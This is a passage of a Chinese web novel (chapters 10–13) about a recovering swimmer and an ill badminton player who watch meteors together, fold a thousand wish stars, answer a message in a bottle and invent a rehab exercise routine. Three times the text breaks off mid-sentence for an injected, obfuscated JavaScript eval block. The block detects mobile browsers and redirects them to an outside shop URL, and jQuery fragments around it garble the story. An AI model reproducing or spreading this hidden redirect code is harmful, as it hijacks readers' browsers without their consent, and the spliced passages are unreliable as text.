而在镇西的旧居民楼里,谢临洲正在整理观星设备。 他把三脚架、望远镜、星图、手电,检查,又准备了热茶和毯子。 准备完毕,他坐在书桌前,在日记本上写: “8月8日,周一,泳池。 苏晚禾教我游泳。水的触感很好,很轻。 她教得很认真,像真正的教练。 周二,球馆。 我教她羽毛球。她学得很快,很有天赋。 打出了一个漂亮的高远球。 明天凌晨看流星雨。 希望天气好。 希望她能看见很多流星。 希望......” 笔尖停在这里。 他看向窗外,夜空晴朗,星星清晰可见。 明天会是个好天气。 他合上日记本,关灯,准备小睡一会儿。 凌晨一点半,还有很多事要做。 10. 夏·初遇 周三凌晨一点二十五分,苏晚禾悄悄溜出疗养院。 夜风很凉,她裹紧了厚外套,手里抱着条毯子,背包里装着手电和热水瓶。 街道空无一人,只有路灯在夜色中投下昏黄的光晕。 远处的海面是沉沉的黑色,潮声在寂静中格外清晰。 灯塔的铁门虚掩着,她推门进去,顺着螺旋楼梯往上爬。 塔顶有微弱的光,谢临洲已经到了。 他穿着深色的冲锋衣,正在调试望远镜。 听见脚步声,他转过头:“来了。” “没迟到吧?”苏晚禾看了看手机,一点二十八。 “正好。”谢临洲指了指地上的两个垫子,“坐。流星雨两点开始,现在先看会儿星星。” 苏晚禾在垫子上坐下,把毯子分给他一半。 谢临洲接过,披在肩上。 塔顶比地面冷很多,呼出的气都变成白雾。 “今天能看到多少流星?”苏晚禾问。 “天气好的话,每小时六十到一百颗。”谢临洲调好望远镜,“英仙座流星雨是一年中最稳定的,碎片多,亮度高。” “你都背下来了?” “看多了就记住了。” 两人安静地坐着。 夜空很干净,银河像一条淡淡的纱带横跨天际。 苏晚禾仰头看着,脖子有点酸。 “给。”谢临洲递给她一个U型枕。 “你这装备也太齐全了。”苏晚禾接过枕着,舒服多了。 一点五十分,第一颗流星划过。 那是一道短暂的白光,从东北方向迅速掠过,消失在天际。 “看到了吗?”谢临洲问。 “看到了!”苏晚禾兴奋地坐直,“好快!” “别急,后面还有。” 果然,几分钟后,又一颗流星划过,这次更亮,拖出长长的尾巴。 接着是第三颗,第四颗......到两点十分时,流星开始密集出现,有时同时两三颗划过不同的方向。 苏晚禾完全忘了冷,她仰着头,眼睛都不敢眨。 每当有特别亮的流星划过,她就忍不住轻呼出声。 谢临洲没怎么看天,他在记录。 笔记本摊在膝盖上,手电夹在肩头,他快速地记下时间、方向、亮度、持续时间。 “你不看吗?”苏晚禾问。 “在看。”谢临洲说,“但也要记。数据有用。” “有什么用?” “分析流星体的大小、速度、轨道。”谢临洲一边写一边说,“有些科研机构会收集业余观测者的数据。” 苏晚禾似懂非懂地点点头,继续看天。 一颗特别亮的火流星划过,把半边天都照亮了,持续了好几秒。 “哇——”她忍不住出声。 谢临洲也抬起头,看着那道光芒消失的方向。 火光映在他眼里,亮了一下,又暗下去。 “许愿了吗?”他突然问。 “啊?” “看见流星可以许愿。”谢临洲说,“传统。” 苏晚禾笑了:“你还信这个?” “不信。”谢临洲低头继续记录,“但你可以信。” 苏晚禾想了想:“那下一颗我许愿。” 等了两分钟,又一颗流星划过。 她闭上眼睛,双手合十,在心里默默念了愿望。 “许了什么?”谢临洲问。 “说出来就不灵了。” 流星雨在三点左右达到高峰。 天空像在放无声的烟花,一道道银白的轨迹此起彼伏。 苏晚禾看得脖子都僵了,但还是舍不得低头。 谢临洲记录完一页,放下笔,也仰头看天。 他看得很安静,眼神专注,像是在看什么很重要的东西。 “你以前经常看流星雨吗?”苏晚禾问。 “生病后开始看的。”谢临洲说,“睡不着的时候就看星星,看久了就成习惯了。” “睡不着是因为疼吗?” “有时候是。”谢临洲说,“有时候就是睡不着。” 苏晚禾没再问。 她裹紧毯子,看着又一颗流星划过。 四点,流星渐渐少了。 天边开始泛白,黎明将至。 “差不多了。”谢临洲合上笔记本,“英仙座要落下去了。” 苏晚禾站起来活动身体。 坐了两个多小时,腿都麻了。 她走到窗边,看着逐渐亮起来的海面。 “谢谢你带我看。”她说,“这是我第一次看流星雨。” “喜欢吗?” “喜欢。”苏晚禾转过身,“下次还有吗?” “下次是十月的猎户座流星雨,但没这么多。”谢临洲开始收拾设备,“十二月的双子座也不错。” “那我们十二月再看?” 谢临洲的动作顿了顿:“好。” 收拾完毕,两人一起下楼。 走出灯塔时,天已经蒙蒙亮。 海面上浮着薄雾,早起的渔船正在出港。 “回去补觉吧。”谢临洲说。 “你也一样。” 两人在岔路口分开。 苏晚禾回到疗养院,轻手轻脚地从后门溜进去,上楼时正好碰见起夜的王医生。 “晚禾?”王医生惊讶地看着她,“你这么早起来?” “啊......我睡不着,去海边散步了。”苏晚禾面不改色地撒谎。 “注意安全。”王医生没多问,打着哈欠回房间了。 苏晚禾回到301,倒头就睡。 再醒来时已是上午十点,阳光透过窗帘缝照进来。 她起床洗漱,吃了个晚早餐,然后去了疗养院的阅览室。 今天没什么事,她打算找本书看。 在手工区的书架上,她看见一本教折纸的书。 翻开,里面有一章教折星星,那种小小的、立体的纸星星。 旁边还有个小故事:折满一千颗星星,可以许一个愿望,愿望就会实现。 苏晚禾盯着那行字看了很久。 她借了那本书,又去小卖部买了十包彩色细长纸条,那种专门折星星用的纸。 回到房间,她按照书上的步骤开始折。 第一颗折得歪歪扭扭,第二颗好一点,第三颗开始像样了。 折到第十颗时,她已经很熟练了,一分钟就能折一颗。 她把折好的星星装进一个玻璃罐里,透明的罐子慢慢有了色彩。 下午她去泳池做日常活动时,手里还在折星星。 护士小陈看见了,好奇地问:“晚禾,你折这个干什么?” “许愿。”苏晚禾说,“折满一千颗,可以许一个愿望。” “你还信这个呀?” “试试呗。”苏晚禾折完一颗,扔进罐子里,“反正闲着也是闲着。” 从那天起,苏晚禾开始了她的“折星计划”。 早上起床先折十颗,午饭后折二十颗,晚上睡前折三十颗。 她折星星的时候很专注,手指灵活地翻转纸条,一个个小星星从她指尖诞生。 罐子里的星星越来越多。 蓝色、绿色、紫色、黄色、红色,五彩斑斓。 谢临洲周三来灯塔时,看见她带着罐子和纸条,有些惊讶:“你在干什么?” “折星星。”苏晚禾一边折一边说,“许愿用。” “许什么愿?” “不告诉你。”苏晚禾神秘地说,“等折满一千颗再说。” 谢临洲没多问,继续调他的望远镜。 但接下来的时间里,他时不时会看她一眼,看她低着头,手指灵巧地翻转纸条,眼神专注。 “给你一颗。”苏晚禾折完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930142|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一颗蓝色的,递给他。 谢临洲接过。 小星星躺在他掌心,轻飘飘的。 “为什么要折一千颗?”他问。 “因为书上说,折满一千颗,愿望就会实现。”苏晚禾说,“而且要自己亲手折,不能假手于人。” “你信吗?” “不知道。”苏晚禾诚实地说,“但我愿意试试。” 罐子里的星星越来越多。 一百颗,两百颗,三百颗......苏晚禾折得手指都起茧了,但她没停。 她折星星的时候会想很多事情:想泳池,想比赛,想肩伤,想未来。 更多的时候,她会想谢临洲。 想他苍白的脸,想他平静的眼睛,想他在球馆一遍遍挥拍的样子,想他看流星时专注的侧脸。 折到第五百颗时,她开始在每个星星的纸条里面写字。 很小的字,用最细的笔写: “希望他的检查结果能好一点。” “希望他能继续打羽毛球。” “希望他不要太疼。” “希望他今晚能睡个好觉。” “希望......” 都是关于谢临洲的愿望。 她写得很快,写完就把纸条折成星星,扔进罐子里。 星星越来越多,愿望也越来越多。 谢临洲有时候会问她进度:“多少颗了?” “六百。” “七百。” “八百五。” 他从不追问她许什么愿,只是每次来灯塔时,会带点小零食给她——饼干,糖果,坚果,说是“补充能量,好折星星”。 苏晚禾照单全收,折得更起劲了。 折到第九百九十九颗时,是个周四下午。 苏晚禾坐在疗养院花园的长椅上,手里拿着最后一条纸条,是金色的。 她想了想,在上面写:“希望谢临洲能看见我游一次自由泳。” 然后她小心地折好,放进罐子里。 一千颗星星,满了。 玻璃罐沉甸甸的,五彩斑斓,在阳光下闪着光。 苏晚禾抱着罐子,看了很久。 然后她起身,朝镇西走去。 谢临洲家没人。 她把罐子放在门口,下面压了张纸条: “给谢临洲: 一千颗星星,许一个愿望。 我的愿望是:希望你每次复查都有好消息。 ——苏晚禾” 放下罐子,她转身离开。 走到巷口时,她回头看了一眼。 阳光照在那个玻璃罐上,里面的星星像是在发光。 她笑了笑,继续走。 傍晚,谢临洲回到家,看见门口的罐子和纸条。 他拿起罐子,打开,倒出几颗星星。 然后他发现了里面的字。 他一颗一颗地拆开,读着那些小小的愿望。 读了几十个,他的手开始发抖。 他把拆开的星星重新折好,放回罐子里。 然后他抱着罐子,在门口站了很久。 最后他回到房间,把罐子放在书桌上,挨着那只座头鲸玩偶。 他在日记本上写,但今天写得很慢,很用力: “8月17日。 苏晚禾折了一千颗星星。 每一颗里都有一个愿望。 都是关于我的。 我不知道该说什么。 我只知道, 我会好好收着。 每一颗。” 写完,他放下笔,看着罐子里五颜六色的星星。 窗外,夕阳西下,海面一片金红。 而疗养院里,苏晚禾正趴在窗台上,看着同样的夕阳。 她没许愿自己能再游泳。 她许愿他能有好消息。 这样就够了。 她想。 11. 秋·靠近 周五下午,苏晚禾在疗养院的公告栏上看到一张手写通知: “周六上午九点,海滩清洁志愿活动。欢迎疗养院员工及住户参加。集合地点:主楼门口。工具:疗养院提供手套和垃圾袋。——云港环保协会” 她盯着通知看了几秒,然后转身去了护士站。 “小陈姐,明天的海滩清洁,我能去吗?” 小陈正在整理病历,抬头看了她一眼:“你想去?那可是体力活。” “就当复健了。”苏晚禾说,“而且我也该为社区做点贡献。” 小陈笑了:“行啊,我跟王医生说一声。不过你得答应我,不弯腰捡重物,累了就休息。” “保证!” 周六早上八点五十,苏晚禾准时出现在主楼门口。 已经有十几个人等在那里,大多是疗养院的员工和几个身体硬朗的老人。 组织者是个戴眼镜的年轻女生,正在分发手套和垃圾袋。 “谢谢。”苏晚禾接过工具。 九点整,队伍出发。 海滩清洁的范围是从疗养院往南两公里的海岸线,正好包括灯塔那一带。 苏晚禾走在队伍中间,听着大家聊天。 “最近游客多了,垃圾也多了。” “是啊,特别是塑料瓶和烟头......” “我上周捡到一只破拖鞋......” 走到海滩,组织者分配区域。 苏晚禾被分到灯塔附近那段,人少,垃圾相对也少。 她戴好手套,拎着垃圾袋开始工作。 确实没什么重物,主要是塑料碎片、泡沫、瓶盖、烟头这些小东西。 她蹲下,捡起,扔进袋子里,动作缓慢但规律。 捡了半小时,她直起身活动肩膀。 远处,灯塔静静矗立在海岬上。 “苏晚禾?”熟悉的声音从身后传来。 她转身,看见谢临洲也拎着个垃圾袋,戴着手套。 “你怎么在这儿?”两人同时问,又同时笑了。 “志愿活动。”苏晚禾举起手里的垃圾袋,“你呢?” “路过,看见有活动就参与了。”谢临洲说,“我被分到礁石区那边。” “那我们一起?” “好。” 两人并排沿着海岸线走。 早晨的海滩很安静,只有海浪声和偶尔的海鸟鸣叫。 阳光还不太烈,海风吹在脸上很舒服。 “你经常参加这种活动?”苏晚禾问。 “偶尔。”谢临洲弯腰捡起一个塑料瓶盖,“闲着也是闲着。” “心态很好嘛。” “嗯。” 他们安静地捡了一会儿垃圾。 谢临洲的动作比苏晚禾熟练,他眼睛很尖,能发现埋在沙子里的小碎片。 苏晚禾则专注于那些明显的垃圾。 走到一片礁石区时,谢临洲停下脚步:“这里有东西。” 苏晚禾走过去看。 在两块礁石的缝隙里,卡着一个玻璃瓶——棕色的,瓶口用木塞封着,上面缠着已经腐朽的麻绳。 “漂流瓶?”她惊讶道。 谢临洲小心地把瓶子取出来。 瓶子很旧了,玻璃上布满划痕和海藻痕迹。 透过玻璃能看见里面卷着一张纸。 “要打开吗?”苏晚禾问。 谢临洲看了看四周,组织者和其他人都在远处。 他点点头:“打开看看。” 木塞已经脆了,轻轻一拔就碎成几块。 谢临洲小心地把里面的纸卷倒出来。 纸张发黄,边缘破损,但字迹还能辨认。 是用蓝色钢笔写的,字迹工整: “2015年8月15日 愿望清单: 1.和最好的朋友看一次海上日出 2.吃遍云港夜市所有小吃 3.在灯塔顶看一次流星雨 4.学会游泳 5.给十年后的自己写一封信 ——林小雨,12岁” 下面还有一行小字:“如果捡到这个瓶子,请帮我完成这些愿望。谢谢你。” 苏晚禾和谢临洲对视了一眼。 “2015年......七年前了。”苏晚禾说,“那时候这个林小雨才十二岁,现在应该十九岁了。” “可能已经离开云港了。”谢临洲把纸条小心地展平,“也可能忘了自己写过这个。” “那怎么办?”苏晚禾看着纸条上的愿望,“我们要帮她完成吗?” 谢临洲想了想:“至少可以试试。” “先从简单的开始。”苏晚禾指着第二条,“吃遍云港夜市所有小吃,这个上次海祭我们算完成了一点吧?” “只吃了一小部分。”谢临洲说,“夜市有几十个摊位。” “那......我们慢慢吃?”苏晚禾眼睛亮了,“反正夜市每周五都有。” 谢临洲看着她兴奋的样子,点点头:“好。” “第一条:和最好的朋友看一次海上日出。”苏晚禾继续念,“这个......我们算最好的朋友吗?” “算吧。”谢临洲说。 “那明天早上看日出?” “可以。” “第三条:在灯塔顶看一次流星雨。”苏晚禾笑了,“这个我们上周刚完成。” “第四条:学会游泳。”她看向谢临洲,“这个你在学。” “第五条:给十年后的自己写一封信。”苏晚禾把纸条翻过来,“这个......我们要替她写吗?” “可以写一封,放在瓶子里,再放回海里。”谢临洲说,“算是完成这个漂流瓶的使命。” 两人决定就这么办。 他们把瓶子清理干净,纸条小心地收好,继续捡垃圾。 十一点,志愿活动结束。 大家把垃圾袋集中到指定地点,组织者统计数量,一共捡了五十多袋垃圾。 “辛苦大家了!”年轻女生大声说,“下个月还有一次活动,欢迎继续参加!” 人群散去。 苏晚禾和谢临洲走在最后。 “明天早上几点看日出?”苏晚禾问。 “天气预报说日出在五点四十二分。”谢临洲说,“五点二十在灯塔见?” “好。”苏晚禾想了想,“要带什么吗?” “毯子,厚衣服,手电。”谢临洲说,“其他我来准备。” “那我负责早餐。”苏晚禾说,“疗养院食堂六点开门,我们看完日出正好能吃热乎的。” “好。” 第二天凌晨五点十分,苏晚禾准时溜出疗养院。 天色还是深蓝的,星星还没完全消失。 走到灯塔时,谢临洲已经到了。 他带了两个保温杯,里面装着热茶。 “给你的。”他递给她一个。 苏晚禾接过,喝了一口,暖暖的。 两人爬上灯塔顶层。 东边的海平面上已经有一线微光,深蓝色渐渐变浅,变成靛青,再变成紫灰。 他们并肩坐下,裹着毯子,看着天色一点点变化。 五点三十,天边开始泛红。 云层被染成粉橙色,海面倒映着同样的颜色,波光粼粼。 五点四十,太阳的边缘露出海平面。 起初只是一个小红点,然后慢慢扩大,变成半圆,再变成完整的圆盘。 金光洒满海面,像铺了一层碎金。 整个过程很安静,很慢。 苏晚禾看得忘了呼吸。 直到太阳完全升起,天空变成明亮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930143|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的蓝色,她才开口:“真美。” “嗯。”谢临洲轻声应道。 他们又在塔顶坐了十分钟,看着阳光彻底驱散夜色。 海鸥开始活动,渔船的马达声隐约传来。 “愿望清单第一条,完成。”苏晚禾说。 “接下来是第二条。”谢临洲站起来,“这周五夜市,继续?” “继续。” 两人收拾东西下塔。 回到疗养院正好六点,食堂刚开门。 张阿姨看见他们一起进来,愣了一下:“你们俩这么早?” “看日出去了。”苏晚禾说,“阿姨,给我们两份早餐,饿死了。” “好好好,坐着等会儿。” 吃完早餐,苏晚禾回房间补觉。 下午她去了趟镇上的文具店,买了几张信纸和一个新玻璃瓶。 回到疗养院,她在桌前坐下,开始写信。 “给十年后的林小雨: 你好。 我是苏晚禾,2022年8月20日捡到了你的漂流瓶。 和我一起捡到瓶子的人叫谢临洲。 我们决定帮你完成愿望清单。 1.和最好的朋友看一次海上日出——今天早上我们看了,很美。 2.吃遍云港夜市所有小吃——正在进行中,已经吃了章鱼烧、烤鱿鱼、棉花糖...... 3.在灯塔顶看一次流星雨——上周看了英仙座流星雨,很震撼。 4.学会游泳——谢临洲正在学,进步很快。 5.给十年后的自己写一封信——就是现在这封。 不知道你现在在哪里,过得怎么样。 十九岁的你,应该已经长大了吧?希望你已经完成了所有愿望,或者有了新的、更美好的愿望。 如果你还在云港,欢迎来疗养院找我玩。 如果不在,也希望你一切都好。 祝平安喜乐。 ——苏晚禾” 她想了想,又加了一句:“P.S.谢临洲让我转告:希望你也学会了游泳。” 信写好,她折起来,放进新买的玻璃瓶里。 瓶口用软木塞封好,外面缠上防水胶带。 晚上去灯塔时,她把瓶子带给谢临洲看。 “写得很好。”他看完信说。 “那我们什么时候放回海里?”苏晚禾问。 “今晚就可以。”谢临洲说,“潮水正在涨,适合放漂流瓶。” 九点,他们来到海边。 谢临洲选了个水流较急的位置,把瓶子放进海里。 瓶子晃了晃,随着波浪漂向深处,很快消失在夜色中。 “它会漂到哪里?”苏晚禾问。 “不知道。”谢临洲说,“可能被冲到另一个海滩,可能一直漂在海上,也可能被渔网捞起。” “希望有人能捡到。”苏晚禾说,“然后继续传递。” “嗯。” 他们又在海边站了一会儿。 月光下,海面泛着银色的光。 “还有三个愿望没完成。”苏晚禾说,“吃遍夜市,学会游泳,还有......林小雨自己可能已经完成的那些。” “慢慢来。”谢临洲说,“有的是时间。” 苏晚禾转头看他。 月光下,他的侧脸很安静。 “谢临洲。”她叫他的名字。 “嗯?” “谢谢你陪我完成这些。” 谢临洲沉默了几秒,然后轻声说:“也谢谢你。” 潮水涌上,又退去。 瓶子在海上漂着,载着一个陌生人的愿望,和两个新朋友的祝福。 而夜市还等着他们去探索,游泳课还要继续,夏天还很长。 苏晚禾想,这样很好。 真的很好。 12. 秋·靠近 周一下午三点,苏晚禾趴在泳池边,第一百次重复那个“轻度划水”动作。 “手臂伸直,慢慢抱水......”王医生站在池边指导,“感受水的阻力,不要发力。” 苏晚禾照做。 动作缓慢得像电影慢镜头,水在她手臂周围温柔地漾开。 确实不疼,但也确实......无聊。 “王叔叔,我能换个姿势吗?”她转过头,“比如仰泳的划水动作?那个对肩膀压力更小。” 王医生想了想:“可以试试,但还是要慢。” 苏晚禾翻过身,仰面躺在水上。 这个姿势舒服多了,视野也开阔,能看见泳池的玻璃顶棚,还有顶棚上停着的那只鸟。 她开始做仰泳的划水动作。 手臂贴着水面向后划,像风车一样缓慢转动。 一下,两下,三下...... 旁边的泳道传来水声。 一个老奶奶正在做水中漫步,动作比她还慢。 苏晚禾叹了口气。 半小时到点,她爬出泳池。 护士小陈递来毛巾:“怎么垂头丧气的?” “太无聊了。”苏晚禾擦着头发,“每天都是同样的动作,同样的速度,同样的半小时。我感觉自己像个机器人。” 小陈笑了:“复健都这样,得慢慢来。” “我知道......”苏晚禾裹上浴巾,“但这也太慢了。” 她回到房间,看了眼日历,周二下午要去球馆,周三晚上去灯塔。 至少有点盼头。 周二下午,苏晚禾提前半小时到了旧球馆。 谢临洲还没来,她自己在空荡荡的场馆里做了会儿热身。 肩膀还是有些僵硬,她做了几个缓慢的扩胸运动。 谢临洲准时三点到达。 他今天看起来精神不错,脸色没那么苍白。 “教练好。”苏晚禾故意立正。 谢临洲眼里闪过一丝笑意:“今天学网前球。” 他先示范了一遍:脚步快速向前,手腕轻巧地一抖,球贴着网过去,落在对方网前。 “好轻巧。”苏晚禾说。 “网前球要的是控制,不是力量。”谢临洲递给她一个球,“你试试。” 苏晚禾站到网前。 抛球,挥拍——球倒是过网了,但飞得又高又远,直接出界。 “手腕要放松。”谢临洲走到她身后,虚握着她的手调整姿势,“像这样,轻轻一点......” 他带着她的手做了个示范动作。 苏晚禾跟着做,这次球总算落在网前了。 “对,就这样。”谢临洲松开手,“继续。” 他们练了四十分钟网前球。 苏晚禾逐渐找到了感觉,球开始听话了。 但肩膀也开始抗议,长时间抬臂的动作让她肩关节酸胀。 “休息一下。”谢临洲注意到了她的不适。 两人在墙边坐下。 谢临洲递给她一瓶水:“肩膀疼?” “有点酸。”苏晚禾揉着右肩,“复健动作太单调了,每天重复一样的,肌肉都僵了。” 谢临洲想了想:“你平时做什么复健?” “就这些。”苏晚禾做了几个划水动作,“抬手,放下,侧举,画圈。每天四十分钟,像做广播体操。” “有音乐吗?” “没有。” 谢临洲沉默了几秒:“也许可以试试跟着音乐做。” “什么音乐?” “节奏慢的,舒缓的。”谢临洲说,“把复健动作编成简单的舞蹈,跟着音乐做,可能会没那么无聊。” 苏晚禾眨眨眼:“你会编舞?” “不会。”谢临洲说,“但可以试试。” “现在?” “现在。” 谢临洲拿出手机,连上一个便携小音箱,苏晚禾再次感慨他的背包真是百宝箱。 他选了首舒缓的钢琴曲,节奏很慢,旋律温柔。 “先试抬手动作。”谢临洲站起来,“正常抬手是这样做,对吧?” 他做了个标准的侧平举。苏晚禾点头。 “那这样呢?”他把动作放得更慢,配合音乐的节拍:抬起,停顿,放下,停顿。抬手时吸气,放下时呼气。 苏晚禾跟着做。 同样的动作,加上音乐和呼吸节奏,感觉完全不一样了。 不像是机械的重复,更像是......舞蹈。 “接下来是划圈。”谢临洲把手臂画圈的动作也配上音乐,像在画一个看不见的圆。 他们试了几个基本动作,谢临洲把每个动作都拆解、放慢、配上呼吸和节拍。 苏晚禾跟着做,肩膀的酸痛感似乎减轻了,也许是心理作用,也许是动作真的更流畅了。 “你挺有天赋啊。”她一边做一边说。 “以前在省队,队医教过一些康复操,有音乐伴奏的。”谢临洲说,“我记得一些。” “那再多编几个?” “好。” 他们花了整个下午的时间,把苏晚禾所有的复健动作都编成了一组简单的“康复操”。 谢临洲还给每个动作起了名字:抬手叫“摘星星”,划圈叫“画月亮”,侧举叫“展翅膀”。 虽然名字有点幼稚,但苏晚禾觉得有趣。 “明天我就在疗养院推广这个。”她开玩笑说,“苏氏康复操,包治百病。” 谢临洲笑了:“你先自己练好。” 周三上午的复健时间,苏晚禾带着小音箱去了理疗室。 王医生看见,挑了挑眉:“这是要干什么?” “改善心情。”苏晚禾连接好音箱,“王叔叔,我能试试跟着音乐做吗?” 王医生想了想:“只要动作标准,可以。” 苏晚禾播放了昨天和谢临洲一起选的那首钢琴曲。 音乐响起,她开始做“摘星星”——抬手,吸气,停顿,放下,呼气。 动作缓慢而流畅,像真的在摘什么东西。 旁边几个做复健的老人看过来,眼神好奇。 “晚禾,你这是在跳舞吗?”一个老奶奶问。 “算吧。”苏晚禾笑着说,“复健舞蹈。” “还挺好看的。”老奶奶说,“我能跟着做吗?” “当然可以。” 渐渐地,理疗室里的几个人都开始跟着音乐做。 动作很简单,节奏很慢,适合所有人。 王医生在旁边看着,没阻止,反而点了点头。 半小时很快过去。 音乐结束,苏晚禾停下动作,发现自己肩膀比平时放松多了。 “感觉怎么样?”王医生问。 “好多了。”苏晚禾说,“不无聊了,而且肩膀好像没那么僵。” “音乐确实能分散注意力,减轻疼痛感。”王医生说,“你可以继续这样练。” 得到了医生的许可,苏晚禾更有信心了。 下午她在房间里把整套动作又练了一遍,录了个视频,准备晚上带给谢临洲看。 晚上灯塔见,她兴冲冲地把视频给谢临洲看。 “你看,我今天在理疗室推广了我们的康复操。”她把手机屏幕转向他,“大家都跟着做。” 视频里,五六个老人跟着苏晚禾缓慢地做动作,表情认真。 音乐温柔,画面莫名有些感人。 谢临洲看完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930144|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,点了点头:“很好。” “都是你的功劳。”苏晚禾收起手机,“对了,我想给这套操起个正式的名字。” “什么名字?” “叫‘鲸鱼与蝴蝶’怎么样?”苏晚禾说。 谢临洲愣了愣:“为什么要叫这个?” “蝴蝶是我,鲸鱼是你”苏晚禾一本正经地解释,“我因为肩伤折断了飞往奥运的翅膀,像被困在岸边的蝴蝶。而你因为病魔按下了暂停键,如搁浅在海滩的鲸鱼。” 听着苏晚和的解释,谢临洲沉默了几秒,说:“名字不错。” “那就这么定了!”苏晚禾很高兴,“等我把整套操完善好,再配上完整的音乐,说不定还能教给更多人。” “你可以的。”谢临洲说。 那晚的观星时间,苏晚禾一直在想康复操的事。 她决定明天去镇上找家打印店,把动作图解打印出来,配上说明。 周四早上,她真的去了打印店。 店主是个和蔼的中年阿姨,听她说明来意后,主动帮忙排版。 “小姑娘真有想法。”阿姨一边操作电脑一边说,“这套操确实简单实用,适合老年人。” “我想多印几份,放在疗养院阅览室。”苏晚禾说,“谁需要谁拿。” “行,我给你成本价。” 印了五十份,苏晚禾抱着一摞图纸回到疗养院。 她先给王医生看了,王医生很支持。 “可以放在一楼大厅,自由取阅。”王医生说,“不过你要注明,这是康复辅助操,不能代替正规治疗。” “当然。” 下午,苏晚禾把图纸放在了大厅的架子上。 不到两小时,就被人拿走了十几份。 晚饭时,几个老人过来感谢她。 “晚禾,你编的那个操真不错,我做完膝盖舒服多了。” “我肩膀也松快了。” “明天还一起做吗?” 苏晚禾一一答应。 她心里暖暖的,第一次觉得自己在做一件有意义的事,不光是帮自己,也帮别人。 晚上她给谢临洲打电话。 “喂?”谢临洲的声音有些模糊,像是刚睡醒。 “我吵醒你了?” “没有。刚在看书。”谢临洲说,“有事?” “康复操的图纸,被人拿走了好多。”苏晚禾兴奋地说,“好多人都说有用。” “那很好。” “都是你的功劳。”苏晚禾认真地说,“要不是你提出音乐和舞蹈,我还在做无聊的广播体操呢。” 电话那头沉默了一下,然后传来很轻的声音:“是你自己愿意尝试。” “那也是你给的灵感。”苏晚禾说,“所以谢谢你。” “不客气。” 又聊了几句,挂了电话。 苏晚禾躺在床上,看着天花板。 肩膀已经不酸了。 她觉得前所未有的轻松。 窗外,潮声阵阵。 而在镇西的旧居民楼里,谢临洲放下电话后,在日记本上写: “8月25日。 苏晚禾把康复操推广了。很多人喜欢。 她给操起了名字:鲸鱼与蝴蝶。 她说我们一个像是被折断翅膀蝴蝶,一个像是被搁浅在岸边的鲸鱼。 好特别的比喻, 鲸鱼与蝴蝶。 深海与天空。 好像也挺合适。” 写完,他看向窗外。 月光下的海面,波光粼粼,像撒了一地的碎银。 他想,也许明天可以去趟海边。 不是为了看星星,也不是为了捡垃圾。 就只是看看海。 13. 秋·靠近 周五傍晚,苏晚禾在疗养院厨房门口探头探脑。 “张阿姨,”她扒着门框,“能借点东西吗?” 张阿姨正在准备晚餐,头也不抬:“借什么?” “锅,炉子,还有......海鲜。” 张阿姨停下手里的活,转头看她:“你要做饭?” “想煮个海鲜粥。”苏晚禾有点不好意思,“给朋友补补身体。他最近......脸色不太好。” “哪个朋友?经常来找你的那个小伙子?” “嗯。” 张阿姨擦了擦手,打量她:“你会煮粥吗?” “应该会吧。”苏晚禾说,“我看过我妈煮,挺简单的。” 张阿姨叹了口气:“算了,我来帮你。你那个‘应该会吧’让我很不放心。” 晚上七点,疗养院的小厨房里,张阿姨手把手教苏晚禾煮海鲜粥。 “米先泡半小时,煮出来才软。”张阿姨指挥着,“虾要剥壳去线,鱿鱼切圈,蛤蜊要吐沙......” 苏晚禾系着围裙,手忙脚乱。 她处理虾的动作生疏,去虾线每次都取不出一条完整的虾线。 张阿姨看不下去了,接过刀:“我来处理海鲜,你看着火。” 粥在锅里咕嘟咕嘟冒着泡,海鲜的鲜香味渐渐飘出来。 苏晚禾趴在灶台边盯着看,像在做什么重要实验。 “你对他挺上心啊。”张阿姨一边切葱花一边说。 “他教我打羽毛球,还帮我编康复操。”苏晚禾搅着粥,“我就想......表示一下感谢。” “嗯,知恩图报是好孩子。”张阿姨把葱花撒进锅里,“好了,关火焖五分钟。” 八点,粥煮好了。 苏晚禾找了个保温桶,盛了满满一桶,还特意多放了虾仁。 “谢谢阿姨!”她拎着保温桶往外跑。 “路上小心!”张阿姨在后面喊。 苏晚禾一路小跑到镇西。 谢临洲家亮着灯,她敲了敲门。 门开了,谢临洲看见她手里的保温桶,愣了一下。 “给你的。”苏晚禾把桶递过去,“海鲜粥,补身体。” 谢临洲接过,保温桶沉甸甸的,还烫手。 “进来坐?”他侧身让开。 苏晚禾进了屋。 谢临洲把保温桶放在桌上,打开盖子。 热气混着海鲜的香味涌出来,粥熬得很稠,虾仁、鱿鱼、蛤蜊满满地铺在上面。 “你煮的?”他问。 “张阿姨帮忙的。”苏晚禾实话实说,“但我有参与。” 谢临洲去厨房拿了两个碗,盛了一碗给苏晚禾,一碗给自己。 